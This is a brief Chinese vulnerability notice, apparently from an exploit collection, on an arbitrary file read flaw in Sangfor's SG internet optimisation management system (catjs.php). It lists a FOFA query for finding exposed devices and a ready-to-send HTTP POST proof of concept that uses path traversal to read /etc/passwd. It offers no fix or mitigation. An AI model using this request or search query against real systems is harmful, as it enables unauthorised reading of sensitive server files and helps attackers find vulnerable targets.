0x01漏洞描述
深信服 SG上网优化管理系统 catjs.php 存在任意文件读取漏洞，攻击者可利用该漏洞获取服务器上的敏感文件。
0x02漏洞复现
fofa：title="SANGFOR上网优化管理"
1.执行poc，进行文件读取
POST /php/catjs.php HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0 Content-Length: 35 Accept-Encoding: gzip, deflate Connection: close Content-Type: application/x-www-form-urlencoded ["../../../../../../../etc/passwd"]
